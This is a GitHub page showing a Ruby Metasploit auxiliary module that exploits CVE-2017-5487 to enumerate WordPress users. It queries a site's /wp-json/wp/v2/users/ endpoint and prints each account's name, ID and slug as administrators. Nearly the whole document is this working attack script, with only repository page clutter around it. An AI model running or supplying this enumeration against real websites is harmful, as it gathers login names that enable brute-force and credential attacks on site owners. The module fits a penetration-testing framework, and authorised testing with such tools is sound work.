forked from mateeuslinno/msf-funny
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathwordpress_enumerating_username.rb
54 lines (41 loc) · 1.28 KB
/
wordpress_enumerating_username.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/http'
require 'json'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Enumerate administrator wordpress',
'Description' => %q{
CVE-2017-5487 - Username Enumeration
},
'Author' => [ 'Mateus Lino <[email protected]>' ],
'License' => MSF_LICENSE))
register_options(
[
OptString.new('ENUMERATE_WORDPRESS', [true, 'Worpdress Logins']),
])
end
def enumerate_username(targetdom)
payload = URI("#{targetdom}/wp-json/wp/v2/users/")
resp = Net::HTTP.get_response(payload)
parsing = JSON.parse(resp.body)
parsing.each do |enumeracao|
nome = enumeracao['name']
slug = enumeracao['slug']
id = enumeracao['id']
print_status ("Administrator: #{nome}")
print_status ("ID: #{id}")
print_status ("Slug: #{slug}")
end
end
def run
print_status("Enumering administratos wordpress")
print_status ("\n")
target = datastore['ENUMERATE_WORDPRESS']
enumerate_username(target) if datastore['ENUMERATE_WORDPRESS']
end
end